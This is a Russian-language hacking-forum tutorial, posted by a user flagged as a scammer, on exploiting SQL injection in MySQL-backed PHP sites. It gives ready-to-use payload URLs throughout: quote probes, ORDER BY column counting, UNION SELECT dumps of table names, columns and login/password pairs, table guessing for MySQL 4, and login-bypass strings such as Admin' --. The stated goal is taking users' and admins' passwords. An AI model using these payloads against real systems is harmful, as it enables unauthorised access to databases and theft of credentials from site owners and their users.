Эксплуатирование SQL-Injection

rtyn

Эксперт
601
940
8 Апр 2016
  • Внимание, Мошенник!
    Пользователь был уличен в мошенничестве. Мы не рекомендуем совершать сделки с ним!
  • Эксплуатирование SQL-Injection
    Поиск уязвимости
    Для того, чтобы определить уязвимость, нужно понимать, что происходит.
    И так, предположим, у нас (а точнее не у нас, а на стороне сервера)* есть скрипт, который обращается к базе данных методом GET с целью получить какой-нибудь параметр, например, данные о пользователе. Предположим, что выглядит он следующим образом (повторюсь, что скрипт находится на сервере, то есть его содержимое мы не увидим, данный пример - демонстрация происходящего на уязвимом сервере)*:
    Code

    $id = $_GET['id'];
    $zapros = mysql_query("SELECT * FROM users WHERE id=$id");

    Мы видим, что в переменную $id попадают символы, которые содержатся в адресной строке после "?id=", до конца запроса или до символа &. Например: site.com/user.php?id=1
    В переменную $id попадает единица. И сам запрос к БД будет таким:
    Code
    SELECT * FROM users WHERE id=1

    Что будет, если нарушить логику запроса? Например, поставить кавычку: site.com/user.php?id=1'
    Запрос к базе примет следующий вид:
    Code
    SELECT * FROM users WHERE id=1'

    В таком случае, мускуль не поймет запроса (произойдёт синтаксическая ошибка)* и ругнется нам ошибкой, что-то типа
    Quote
    You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Подстановка кавычки, собственно, может дать следующие варианты: Вывод ошибки, как приведено выше. Это означает отсутствие фильтрации вводимых параметров, возможность внедрения своего запроса.
    Ошибка отсутствует, вообще искажается вся страница или ее часть. В таком случае, возможно, просто отключен вывод об ошибках в настройках php. Наличие инъекции возможно.
    Ничего не меняется. Скорее всего, вводимые данные фильтруются, и инъекции нет.

    Таким образом, чтобы найти инъекцию в GET параметре, нужно во всех параметрах в адресной строке (GET-запорсы)* ставить кавычки. Но учтите, что, если при user.php?id=1 инъекции нет, то и в user.php?id=2 ее точно не будет, т.к. на уязвимость проверяется параметр id, а не его числовое значение.

    Кстати, о значениях. Параметры могут быть не только числовыми, а, например, текстовыми:
    Code
    site.com/user.php?name=admin

    А могут выглядеть и так:
    Code
    site.com/user/name/id/1/

    Поэтому не стесняемся – ставим кавычки везде, где есть вероятность попасть с запросом в базу данных.
    Так, с GET параметром вроде разобрались.

    Теперь POST параметр.
    Как вы помните, в пост параметр также обычно попадают данные, введенные в поле обычным пользователем, например, форма поиска или авторизации. В таком случае адресная строка браузера как выглядела, так и будет выглядеть, при этом, введенные нами данные незаметно для нас уйдут в БД. Процесс проверки наличия уязвимости будет, по сути, таким же, как и при GET-методе передачи.

    COOKIES
    Аналогично проверке при передачи POST параметром, необходимо будет в значения cookies добавить данные, которые теоретически могут вызвать ошибку в sql-запросе. Пользуемся редактором cookies (например, редактируем куки в браузере Opera)*, ставим кавычку и обновляем страницу.

    Собственно, в дальнейшем сосредоточимся именно на методе передачи данных через GET, т.к. принципы работы массивов GET, POST и COOKIES идентичны, за исключением разве что внешнего вида. С гетами будет нагляднее (ибо передаваемое значение отображается в адресной строке)*.

    Маленький вывод: поиск уязвимости технически одинаков для любого метода передачи данных из перечисленных – необходимо вызвать ошибку в sql-запросе путем нарушения его логики. Хочу уточнить, что данном мануале я говорю о поиске уязвимости именно в "SELECT" запросах.

    Эксплуатирование SQL-Injection

    Эксплуатация sqli осуществляется с использованием оператора sql «SELECT», который используется для извлечения данных из строк одной или нескольких таблиц.
    Для объединения запросов используется оператор «union»
    Так как SELECT запросов у нас будет больше одного (один изначально находится в скрипте, другой внедряем мы), то без этого оператора мы никак не обойдемся.
    Однако, для корректной работы связки UNION+SELECT необходимо, чтобы количество столбцов в SELECT-запросах до UNION и после было одинаковым. Поясню на примере.
    Изначально наш sql-запрос выглядел так:
    Code
    $zapros = mysql_query("SELECT * FROM users WHERE id=$id”);

    Учитывая наличие уязвимости, мы хотим дописать запрос:
    site.com/user.php?id=1+UNION+SELECT+1
    Теперь наш sql-запрос примет следующий вид:
    Code
    $zapros = mysql_query("SELECT * FROM users WHERE id=1 + UNION + SELECT + 1");

    Т.е. мы имеем 2 SELECT запроса, и UNION, который их объединяет. Вот для того, чтобы запрос сработал корректно, нужно, чтобы количество столбцов в таблицах (в нашем случае - в таблице users)* при первом SELECT запросе и втором SELECT запросе совпадало. Итак, первая задача, которая встаёт перед нами после нахождения скули - определение количества столбцов.

    Конструкция "order+by+число" cортирует строки результирующей таблицы данных по указанному числовому параметру (параметр - номер столбца, по которому нужно сортировать)*.
    Если при запросе site.com/user.php?id=1+order+by+10+--+ получаем ошибку, то столбцов меньше 10 (то есть мы указали несуществующую колонку)*. Если ошибки нет – то столбцов либо 10, либо больше. Продолжаем изменять значение до тех пор, пока не найдём точное кол-во столбцов в таблице. Поясню нагляднее:


    site.com/user.php?id=1+order+by+20
    Выпала ошибка? Значит столбцов меньше, пробуем уменьшить число (рациональнее всего уменьшать и увеличивать всегда в 2 раза)*:

    site.com/user.php?id=1+order+by+10
    Опять ошибка. Продолжаем уменьшать

    site.com/user.php?id=1+order+by+5
    Ошибки нет. Значит либо 5, либо больше. Так как 10 мы уже отбросили (у нас точно меньше 10), то можно увеличивать уже по одному, пока не появится ошибка
    site.com/user.php?id=1+order+by+6
    Если ошибка появилась, значит предыдущее значение было максимальным, то есть количество столбцов в данном примере – 5.

    Надеюсь, принцип подбора кол-ва столбцов ясен. Идем дальше.

    Для того, чтобы выводить из базы данных какую-либо информацию, необходимо определить принтабельные поля (тут у нас с автором разногласия по поводу теринологии, я предпочитаю называть их полями вывода)*, через которые это можно сделать (это области страницы, куда выводятся данные из БД)*. Для этого формируем запрос следующим образом (не забываем, что у нас 5 полей):
    site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5

    Обратите внимание, что перед 1 я поставил знак минус. Логически можно предположить, что пользователя с идентификатором -1 не существует, поэтому на экран будет выведен минимум информации, и результаты нашего запроса, который стоит после id=-1 будут более заметны.
    По результатам этого запроса, на странице должны отобразится какие-либо цифры от 1 до 5, эти цифры и будут нашими принтабельными полями. Допустим, мы получили на странице цифру 2.

    Первоначально рекомендую вывести из базы данных следующую информацию:
    Текущая база данных – команда database()
    Текущий пользователь MySQL – команда user()
    Текущая версия базы данных – команда version()
    Особенно важна информация из последней команды – version(). Исходя из того, что покажет данная команда, будем строить и дальнейшие действия.

    Подставлять наш запрос следует вместо тех цифр, которые были выведены как принтабельные поля (вместо 2 в нашем случае):
    site.com/user.php?id=-1+UNION+SELECT+1,version(),3,4,5

    На месте двойки на странице сайта будет выведена версия базы MySQL (то есть результат запорса version() )*.
    Если версия 5 и выше, вам повезло. Если 4 – не сильно. Если 3 – то вообще приплыли.
    Вообще-то 3 ветку я лично даже в глаза не видел, так что и писать о ней не буду. Принципиальное для нас отличие между ветками – появление базы information_schema, в которой хранится структура всей базы данных. ^^
    Стоит сделать оговорку, что речь у нас идёт именно о СУБД MySQL, как о самой распространённой. В разных СУБД применяются различне команды. Описание особенностей проведения инъекций в различные версии различных СУБД - тема для нескольких статей, поэтому на данном этапе обойдёмся общими приёмами в одной кокретной системе управления базами данных.*
    Напомню, что любая база данных имеет таблицы, которые состоят из колонок. Начинаем по порядку

    Определение структуры базы данных
    Версия MySQL 5.x.x
    Любая БД пятой ветки обязательно содержит стандартную базу information_schema, в которой находятся стандартные таблицы и колонки, не представляющие для нас ровно никакой ценности (за исключением информации об именах других таблиц и колонок в них)*.
    Вывод наименований таблиц:
    site.com/user.php?id=-1+UNION+SELECT+1,group_concat( table_name),3,4,5+from+information_schema.tables+where+table_schema!= 0x696e666f726d6174696f6e5f736368656d61

    Данный запрос выводит все (group_concat) таблицы (table_name) из information_schema.tables (информационная база таблиц), где имя базы таблиц (table_schema) не является (!=) information_schema
    0x696e666f726d6174696f6e5f736368656d61 – это "information_schema" в hex-значении. В качестве конвертора я использую сайт x3k.ru.

    Ограничением (причем, зачастую довольно ощутимым), является вывод не более 1024 символов за раз, поэтому через group_concat(table_name) могут вывестись не все таблицы. Аналогом для вывода может служить конструкция limit, которая позволит выводить по одной записи (в нашем случае – имя таблицы) за запрос.
    Например, запрос
    site.com/user.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+ limit+0,1
    выведет нам 1 таблицу,
    limit+1,1 – вторую, limit+2,1 - третью и так далее...
    Ясен пень, что если у вас окажется 50 таблиц в базе, выводить врукопашку вы их просто замучаетесь) Посему скрипт для вывода через "limit" ждёт вас в дополнении 1.*

    Итак, определв все таблицы в базе данных, выбираем интересующую нас таблицу, допустим, она называется users (нам же их пароли нужны ). Теперь нам необходимо определить наименование стобцов (колонок) данной таблицы. Делается практически аналогично:
    site.com/user.php?id=-1+UNION+SELECT+1,group_concat( column_name),3,4,5+from+information_schema.columns+where+table_name=users

    Логика запроса, надеюсь, понятна – она практически идентична предыдущему запросу. Только добавляется условие, что имя таблицы - users (where+table_name=users), так как мы хотим получить данные именно из неё. Тут, как правило, длины group_concat абсолютно достаточно, т.к. количество столбцов обычно небольшое. Предположим, что в нашем случае колонки назывались login и pass.

    Итак, мы определили структуру базы данных, а также выяснили наименование нужных нам таблиц и колонок: таблица users содержит колонки login и pass. Заключительный этап эпопеи – вывод данных. Составляем следующий запрос:
    site.com/user.php?id=-1+UNION+SELECT+1,group_concat(login,0x3b,pass),3,4,5+from+users

    В данном случае, выводятся все значения для колонок login и pass из таблицы admin, 0x3b используется как разделитель между ними (для удобочитаемости, эквивалентен точке с запятой).
    Все, эти данные у нас в руках. Опять же используем limit, если нельзя отобразить всё сразу. Но обычно логин и пароль админа находятся в самом начале таблицы, поэтому имеющегося кол-ва символов должно хватить.*

    Версия MySQL 4.x.x
    Четвертую ветку сознательно пишу после пятой, чтобы новичкам было проще сориентироваться.
    Как уже говорилось, ключевое для нас отличие между 4 и 5 версиями – information_schema. В 5 версии – есть, в 4 – нет. И это создает для нас определенные трудности. Я опишу самый примитивный способ, а остальные – тема уже других статей, ибо сложные :D.
    Так вот, в связи с отсутствием information_schema, мы не можем просто взять и получить имена таблиц и колонок, так как просто неоткуда. Проще всего попробовать угадать. Для начала попробуем угадать название таблицы:
    site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ user

    Если выпала ошибка – не угадали. Меняем название таблицы:
    site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ logins

    И так до того момента, пока не пропала ошибка. В нашем виртуальном случае без ошибки сработает запрос:
    site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ users

    То есть имя таблицы - users. Теперь надо угадать имена колонок. Действуем аналогично предыдущей логике:
    site.com/user.php?id=-1+UNION+SELECT+1, name,3,4,5+from+users

    Ошибка. Пробуем другое:
    site.com/user.php?id=-1+union+SELECT+1, admin_login,3,4,5+from+users

    Ошибка... ещё попытка:
    site.com/user.php?id=-1+UNION+SELECT+1, login,3,4,5+from+users

    Есть контакт! Аналогично угадываем колонку с паролем.
    Вывод содержимого колонок делается аналогично выводу в 5 ветке.

    О специфике паролей, полученных напрямую из БД пойдёт речь в дополнении 3 (ибо это ещё не совсем пароли, а их хеши )*

    Честно говоря, подбор имён таблиц и колонок занятие очень геморное... брутить ручками крайне глупо, сами понимаете)) Конечно, стоит попробовать простенькие варианты вроде users, logins и т.п., но без фанатизма. Если с 3-4 попыток угадать имена не удалось, разумнее будет прибегнуть к некоторой автоматизации. Скрипт для брута имён таблиц и колонок приведён в приложении 1.*

    Отдельно следует упомянуть о наличии инъекции в форме авторизации.
    Предположим, что запрос к БД будет выглядеть таким образом (опять же на стороне сервера и невидимо для нас... тут только пример)*:
    Code
    mysql_query("SELECT * FROM users WHERE login = $login AND pass = $password”);

    Если есть инъекция через поле логина и не фильтруется переменная $login, запрос в строке, где вводится логин, можно сделать таким: Admin'+--+
    Тогда к базе полетит запрос
    Code
    mysql_query("SELECT * FROM users WHERE login = Admin'+--+AND pass = $password”);

    Таким образом, в базу данных попадет только логин, проверка по паролю будет отброшена благодаря использованию комментария MySQL "--" (плюсы - заменяют пробелы. Кстати, до и после комментария "--" желтельно всегда их ставить)*. И вуаля – мы админы (конечно, если у админа такой же логин )*.
    Если не фильтруются данные поля для ввода пароля, то запрос в этом поле будет таким: 123'+or+login=’admin’
    Запрос к БД в данном случае:
    Code
    mysql_query("SELECT * FROM users WHERE login = $login AND pass = 123'+or+login=’admin’);

    Таким образом авторизация пройдет по логину admin согласно логике выражения "or".

    Маленькое дополнение к теме.
    Символы комментариев, которые используются в MySQL:
    Code
    /*
    +--+ (знак плюса эквивалентен пробелу)
    #

    Нужны они для того, чтобы отбросить то, что находится после нашего запроса. Зачастую это необходимо, поэтому, если что-то не идет – ставьте (меняйте) указанные символы – есть шанс, что все наладится.
    Пример запроса:
    site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin+--+[/left]